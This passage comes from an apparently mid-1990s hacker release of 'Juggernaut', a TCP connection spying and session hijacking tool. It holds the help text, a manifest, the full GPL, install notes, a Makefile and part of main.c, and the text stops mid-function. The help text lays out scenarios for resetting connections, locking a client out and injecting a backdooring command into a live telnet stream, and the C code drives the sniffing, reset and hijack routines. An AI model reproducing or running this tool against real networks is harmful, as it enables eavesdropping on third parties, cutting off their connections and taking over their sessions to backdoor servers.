                        that will listen for connection request attempts
                        from a specified source host (and optionally a 
                        destination host) and then reset them before they
                        have a chance to complete.  Requires a source IP
                        address and optionally a destination address.  
                        This module prints a "*" to the console when a
                        connection request attempt is attempted and denied...
                        
    5) Simplex connection hijack

                        Allows the user to insert a command into a telnet
                        based TCP stream.  A short ACK storm ensues until the 
                        connection is subsequently reset.

    6) Interactive connection hijack

                        Allows the user to take over a session from a 
                        legitimate client.  This desynchs the client from the 
                        server as the user takes over.  The resulting ACK 
                        storm can be catastrophic and makes this interactive 
                        session prone to failure.  If both of the target hosts 
                        are on an ethernet, expect a momunmental ACK storm.

    7) Packet assembly module

                        The Prometheus module.  Construction of TCP, UDP, ICMP, 
                        and IP packets.  The user has complete control over 
                        most of the header fields and can opt for generating a
                        pseudo-random value.  This module is far from done and
                        needs some serious work.
    
    8) Souper sekret option number eight

                        Sshh.

    9) Step down
                        Quitter.


|-------------
|Suggested Use
|-------------

    scenario 1: The passive observer
                menu options 1,2

                        The user is curious.  She simply waits for
                        connections to arrive and then passively observes
                        them.  Several invocations of Juggernaut may be
                        started, each spying on a different connection.
                        The user does not modify the flow of data or control.

    scenario 2: The malicious observer
                menu options 1,2,3

                        Same scenario as above, except the user alters the
                        flow of control and opts to destroy connections
                        at some point.

    scenario 3: The active observer
                menu options 1,2,3,5,(6)

                        Same as the previous situations, however the user
                        inserts data into the stream before destroying it.
    scenario 4: The imp
                menu options 1,2,3,4

                        The user is an impish devil and simply wants to
                        cause trouble by setting up multiple ACRST daemons.

    scenario 5: The active observer with poisonous reverse
                menu options 1,2,4,5

                        The user waits until a client establishes a connection
                        with a targeted server and then sets up the ACRST 
                        daemon to destroy all further connection-request
                        attempts from the client.  The user then spys on the 
                        connection, waiting for an opportune time to inject 
                        a hijack packet into the stream containing a 
                        backdooring command/pipeline.  The client will then
                        have her connection RST (after a brief ACK storm).
                        If the client attempts to re-establish the connection
                        with the server, she will be denied and likely think
                        it is a transient network error.  The user can then
                        login into the server using the backdoor without fear
                        of the client logging back in.


      
Juggernaut is a Guild Corporation production, (c) 1996/7.
 
    [corporate persuasion through Internet terrorism]
                                                           
EOF
<-->
<++> Juggernaut/ClothLikeGauze/MANIFEST

       File Manifest for Juggernaut 1.0
 	----------------------------
      1996/7 daemon9[guild|phrack|r00t]
 	----------------------------
ClothLikeGauze/     Docs
    .help           Helpfile
    copyright	    The legal tie that binds.
    Install         Installation instructions
    MANIFEST	    This file
Makefile	    makefile
NumberOneCrush/	    Sources				
    main.c	    main logic
    mem.c	    shared memory/semaphore functions
    menu.c	    menu functions
    prometheus.c    packet assembly workshop module
    net.c	    socket/network functions
    surplus.c       dumping ground


	Version history
	---------------

version a1:
-----------
11.30.96:   Decided to start.  Juggernaut framework and queue stuff.  Used 
            linked list queue originally to store connections.
12.01.96:   Sniffing/spying/logging/RST stuff.
12.02-04:   Not sure what I did here.  I think I had a large turkey samich.
12.05.96:   Redid memory abstract data type.  Multithreaded.  Implemented 
            shared memory segment and semaphore for access control.
            Dumped ALL the dynamic memory allocation code.
12.06.96:   Added packet assembly workshop hooks.  Added curses.  Removed 
            curses.
12.07.96:   No coding today.
12.08.96:   Non-interactive hijacking completed.  I think we're ready for 
            beta now.

version b1:
-----------
12.09.96:   IP_HDRINCL crap added.
12.15-18:   I was in NYC for the r00tparty.  No coding then.
12.19.96:   Added automated RST stuff.
12.20-27:   No coding.
12.28.96:   Started work on interactive hijacking.  Damned ACK storms.
12.30.96:   Started packet assembly module for reals.

version b2:
-----------
01.25.97:   Added network timeout logic.
01.26.97-
04.01.97:   How can you possibly expect me to account for all that time?  
            I went to Germany with alhambra for a networking summit and 
            all over the US for other work, I was even in a Discovery 
            special on IW...

version 1.0:
------------
04.02.97:   Here it is.                
<-->
<++> Juggernaut/ClothLikeGauze/ToDo

Juggernaut ToDo list
--------------------
 + re-structure multitasking model to give the option of
   using multi-processing OR multi-threading
 + Create boot image
 + Support for ongoing connections
 + Support for healthy choice hotdog sequencer
 + Add arp cache seeding routine; as connections are added, MAC
   addresses will be added to the arp cache
 + Add support for different verbosity levels
 + Add support for IP and TCP options in packet assembly module
 + Better packet assembly support as a whole
 + Better code module plug-in support
 + much more robust packet sniffing module with support for
   multiple protocols
 + um, interactive hijacking that doesn't kill the client
<-->
<++> Juggernaut/ClothLikeGauze/copyright
 
			Juggernaut 
 
Copyright (c) 1996/7 by daemon9/route [Guild] (route@infonexus.com)
  
Juggernaut source code, documentation, auxilliary programs, and 
executables are Copyright 1996/7 daemon9[guild].  All rights reserved.

----------------------------------------------------------------------

		    GNU GENERAL PUBLIC LICENSE
		       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

		    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

			    NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

		     END OF TERMS AND CONDITIONS

	Appendix: How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) 19yy  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) 19yy name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<-->
<++> Juggernaut/Install
Juggernaut 1.0 Installation Instructions
----------------------------------------
1.  Are you a fucking moron?  If so, goto step 6; you are done.

2.  Edit the Makefile.  You may wish to change a few of the
    defines:

    USENAME:    Define this to have Juggernaut attempt to 
                resolve IP addresses into FQDNs...  It's
                slower but more verbose this way.
    MULTI_P:    Define this to use multi-process model of 
                multi-tasking.
    THREAD:     Define this to use multi-threaded model of
                multi-tasking.  Be sure to also link in
                the pthreads library.  Not implemented yet.
    IP_HDRINCL: Define this if you want/need to use the
                IP_HDRINCL socket option to build IP
                headers.
    NOHUSH:     If defined, Juggernaut will notify the user
                audibly when a connection is added.
    GREED:      If defined, Juggernaut will attempt to add
                any and ALL TCP based connections to the 
                database.  This is not recommended unless
                you know what you are doing...
    FASTCHECK:  Define this to use a fast x86 assembler 
                implementation of the IP checksum routine.
                May not work on all systems.  That's why
                you have the option.
3. make all

4. yay.

5. ./juggernaut -h
<-->
<++> Juggernaut/Makefile
# Juggernaut Makefile
# 1996/7 daemon9[guild|phrack|r00t]

CC      =   gcc
#LIBS    =   -L/usr/lib -lpthread
CFLAGS  =   -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 #-Wall
DEFINES =   -DMULTI_P -DNOHUSH -DUSENAME -DFASTCHECK
DEFINES +=  #-DGREED #-DIP_HDRINCL #-DTHREAD 
OBJECTS =   NumberOneCrush/main.o NumberOneCrush/menu.o\
            NumberOneCrush/mem.o NumberOneCrush/prometheus.o\
            NumberOneCrush/net.o NumberOneCrush/surplus.o

.c.o:
	$(CC) $(CFLAGS) $(DEFINES) -c $< -o $@

all: JUGGERNAUT

JUGGERNAUT: $(OBJECTS)
	$(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) -o juggernaut
	strip juggernaut

clean:
	rm -f core juggernaut juggernaut.log.snif juggernaut.log.spy
	rm -rf NumberOneCrush/*.o
<-->
<++> Juggernaut/NumberOneCrush/main.c
/*
 *
 *			            Juggernaut
 *				    Version b2
 *
 *                            1996/7 Guild productions
 *			     daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  main.c - main control logic and program driver.  Consists mainly of wrappers 
 *  to setup the main subfunctions.
 *
 *
 */

#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <netinet/in.h>

#ifdef THREAD
#include <pthread.h>
#endif

#define MINIBUF 10
#define BUFSIZE 512
#define DEVICE "eth0"
#define LOGFILE "./juggernaut.log.spy"

char version[]="1.0\0";
int sigsentry=1;		    /* Signal sentry */
int ripsock=0;			    /* RIP socket */
int linksock=0;			    /* SOCK PACKET socket */
int hpid=0;			    /* hunter child PID */
int acrstpid=0;			    /* automated connection reset PID */
int netreadtimeout=10;		    /* Network read timeout in seconds */
int verbosity=1;		    /* Level of verbosity */
int enticementfactor=16;            /* Enticing packets!@ */
time_t uptime=0;                    /* How long have we been running */

struct connectionInfo{		    /* Simple tuple information */
    unsigned long saddr;            /* Source IP */
    unsigned long daddr;            /* Destination IP */
    unsigned short sport;           /* Source TCP Port */  
    unsigned short dport;           /* Destination TCP Port */
};


/*
 *  Main control logic.  All the main logic is implemented in the switch 
 *  statement.
 */

int main(argc,argv)
int argc;
char *argv[];
{

    void usage(char *);
    void hunt();		
    void spy();
    void rst();
    void arst();
    void pkta();
    void simplexhijack();
    void hijack();
    void powerup();
    void minit();
    void mwipe();
    void mmain();
    void twitch();
    void cleanexit();
    void bloodhound(char *,int);
    void bookworm();
    void dbmanip();
    void jinfo();
    int rawsock();
    int tap();
    float dump();			
		
    char buf[MINIBUF]={0};
    char token[2*MINIBUF]={0};
    int c;
                                
    if(geteuid()||getuid()){	            /* r00t? */
        fprintf(stderr,"UID or EUID of 0 needed...\n");
        exit(0);
        }
                          	            /* Parse command-line arguments */
    while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){
        switch(c){
            case 's':                       /* dedicated sniffing mode */
                strncpy(token,optarg,(sizeof(token)-1));
                break;
 	    case 'e':                       /* Enticement factor (only valid 
                                               with -s option) */
	        enticementfactor=atoi(optarg);
		break;
	    case 't':                       /* Network alarm timeout */
	        netreadtimeout=atoi(optarg);
		break;
	    case 'v':	                    /* decrease verbosity */	
	        verbosity=0;
	        break;
	    case 'V':	                    /* version info */	
                jinfo();
                exit(0);
            case 'h':                       /* Help is on the way my friend */
                usage(argv[0]);
                exit(0);
            case 'H':                       /* Help is on the way my friend */
                bookworm();
                exit(0);
	    default:
	        usage(argv[0]);
	        break;
	    }     
    }
    if(token[0]){
        bloodhound(token,enticementfactor); 
        exit(0);
    }

    mwipe();
    minit();				    /* Initial menu */
    fprintf(stderr,"[cr]");
    getchar();

    signal(SIGINT,twitch);		    /* Catch these signals */
    signal(SIGQUIT,twitch);

    ripsock=rawsock();			    /* Setup RIP socket */
    linksock=tap(DEVICE);                   /* Setup link socket */ 

    powerup();				    /* Setup shared memory and 
                                               semaphore */
    time(&uptime);                          /* Start the uptime timer */
    hunt();				    /* Start the connection hunter */
	
    while(1){
    	mwipe();
    	mmain();
        bzero(&buf,sizeof(buf));
    	fgets(buf,sizeof(buf),stdin);
        switch(buf[0]){
            case '?':
                mwipe();
                bookworm();
                mwipe();
                break;
            case '0':
                mwipe();
                jinfo();
                mwipe();
                break;
    	    case '1':
    	        mwipe();
                dbmanip();
    		mwipe();
    		break;
    	    case '2':               /* Watch a connection. */
    	        mwipe();
    		spy();			
    		mwipe();
    		break;
    	    case '3':	            /* Kill a connection. */
    		mwipe();
    		rst();			
    		mwipe();
		break;
	    case '4':               /* Automated CRST daemon. */
		mwipe();
		arst();			
		mwipe();
		break;
	    case '5':		    /* Insert a single command. */
		mwipe();		
		simplexhijack();
		mwipe();
		break;
	    case '6':		    /* Hijack the session from the client */
		mwipe();		
		hijack();
		mwipe();
		break;
	    case '7':	            /* The packet assembly workshop */
		mwipe();
		pkta();			
		mwipe();
		break;
	    case '8':		    /* For future use. */
		break;
            case '9':
                cleanexit();
            default:
	        continue;
        }
    }
		                        /* NOT REACHED */
    return(0);
}


/*
 *  chunt wrapper
 */

void hunt(){

#ifdef MULTI_P
    void spasm();		    	/* Handles the user defined signal */
    void chunt();

    switch((hpid=fork())){
        case 0:				    /* Child */
	    signal(SIGUSR1,spasm);
	    signal(SIGINT,SIG_IGN);	    /* Catch these signals */
	    signal(SIGQUIT,SIG_IGN);
	    close(ripsock);		    /* Not needed in hunter */
	    chunt();
        default:
	    break;			    /* Parent continues */
        case -1:
	    if(verbosity)perror("(hunt) internal forking error [fatal]");
	    exit(1);
    }	
#endif

#ifdef THREAD

    MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.

    void chunt();

    pthread_t hunter_t;

    pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);

#endif

}


/*
 *  cspy wrapper
 */

void spy(){

    void convulsion();
    float dump();
    struct connectionInfo *checkc(int);
    void cspy(struct connectionInfo *,FILE *);

    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;
    FILE *fp=0;	

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
    	else break;
    }
    fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
    fgets(buf,sizeof(buf),stdin);
    if(toupper(buf[0])=='Y'){
    	if(!(fp=fopen(LOGFILE,"a+"))){
            if(verbosity){
                fprintf(stderr,"Cannot open file for logging, skipping operation.\n");
    	        fprintf(stderr,"[cr]");
    	        getchar();
            }
        }
    }
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n");
    signal(SIGINT,convulsion);
    sigsentry=1;
    cspy(target,fp);
    if(fp)fclose(fp);
}


/*
 *  crst wrapper
 */ 

void rst(){

    void convulsion();
    float dump();
    void crst(struct connectionInfo *);    

    struct connectionInfo *checkc(int);

    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;

    dump();
	
    while(1){
        fprintf(stderr,"\nChoose a connection [q] >");
	fgets(buf,sizeof(buf),stdin);
	if(buf[0]==0x0a||buf[0]=='q')return;
   	if(!(int)(val=atoi(buf)))continue;
	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
	else break;
    }
    signal(SIGINT,convulsion);
    crst(target);							
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  acrst wrapper
 */ 

void arst(){

    void convulsion();
    float dump();
    void acrst(unsigned long,unsigned long);
    char *hostLookup(unsigned long);
    unsigned long nameResolve(char *);

    char buf[4*MINIBUF];
    unsigned long source,target;
				            /* Setup addresing info */
    fprintf(stderr,"\nEnter source IP [q] >");
    fgets(buf,sizeof(buf),stdin);
    if(buf[0]==0x0a||buf[0]=='q')return;			
    if(!(source=nameResolve(buf))){
    	if(verbosity){
            fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf);
            getchar();     
        }
    	return;
    }
    fprintf(stderr,"\nEnter target IP (optional) [q] >");
    fgets(buf,sizeof(buf),stdin);
    if(buf[0]=='q')return;			
    if(buf[0]==0x0a)target=0;		    /* target may be null, in this 
                                               case, we only care where
                                               the connection is coming from */
    else if(!(target=nameResolve(buf))){
	if(verbosity){
            fprintf(stderr,"Name lookup failure: %s\n[cr]",buf);
            getchar();     
        }
    	return;
    }
    if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source));
    else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target));
    fprintf(stderr,"[cr]");
    getchar();
    acrst(source,target);							
}


/* 
 *  dumpc wrapper
 */

float dump(){

    float dumpc();
    float usage=0;

    fprintf(stderr,"\nCurrent Connection Database:\n");
    fprintf(stderr,"-------------------------------------------------\n");
    fprintf(stderr,"ref #    source                            target  \n\n");
    usage=dumpc();
    fprintf(stderr,"-------------------------------------------------\n");

    return usage;
}


/*
 *  database manipulation routines go here..
 */

void dbmanip(){

    float dump();
    void cleardb();

    float usage=0;
    char buf[MINIBUF];

    usage=dump();

    if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage);
    else fprintf(stderr,"\nDatabase is empty.");

    fprintf(stderr,"\n[c,q] >");
    fgets(buf,sizeof(buf),stdin);

    if(buf[0]=='c'){
        fprintf(stderr,"\nClear entire connection database? [y/N] >");
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]=='y'){
            cleardb();
            fprintf(stderr,"\nConnection database cleared.\n[cr]");
            getchar();
        }
    }
}

/*
 *  Juggernaut version and option information
 */

void jinfo(){

    time_t current=0;

    fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);

    fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
#ifdef MULTI_P
    fprintf(stderr," Multi-processing\n");
#endif

#ifdef NOHUSH
    fprintf(stderr," Audible notification\n");
#endif

#ifdef USENAME
    fprintf(stderr," Use hostnames\n");
#endif

#ifdef GREED
    fprintf(stderr," Greedy connections\n");
#endif

#ifdef FASTCHECK
    fprintf(stderr," Fast IP checksuming\n");
#endif

#ifdef IP_HDRINCL
    fprintf(stderr," IP header include\n");
#endif

#ifdef THREAD
    fprintf(stderr," Multi-threading\n");
#endif

    time(&current);
    fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));   

    fprintf(stderr,"[cr]");            
    getchar();
}

/*
 *  csimplexhijack wrapper
 */

void simplexhijack(){


    void sputter();
    float dump();
    void csimplexhijack(struct connectionInfo *,char *);
    void cspy(struct connectionInfo *,FILE *);
    struct connectionInfo *checkc(int);
	
    char buf[MINIBUF];
    char commandbuf[BUFSIZE];
    unsigned short val;
    struct connectionInfo *target;

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
    	else break;
    }
    if(ntohs(target->dport)!=23){
    	fprintf(stderr,"Hijacking only valid with telnet connections.\n");
    	fprintf(stderr,"[cr]");
    	getchar();
    	return;
    }		
    fprintf(stderr,"Enter the command string you wish executed [q] >");
    fgets(commandbuf,sizeof(commandbuf),stdin);
    if(commandbuf[0]==0x0a)return;
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
    fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n");
    signal(SIGINT,sputter);
    sigsentry=1;
    cspy(target,0);					
    csimplexhijack(target,commandbuf);
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  chijack wrapper
 */

void hijack(){

    void sputter();
    float dump();
    void chijack(struct connectionInfo *);
    void cspy(struct connectionInfo *,FILE *);
    struct connectionInfo *checkc(int);
	
    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
        if(!(int)(val=atoi(buf)))continue;
        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
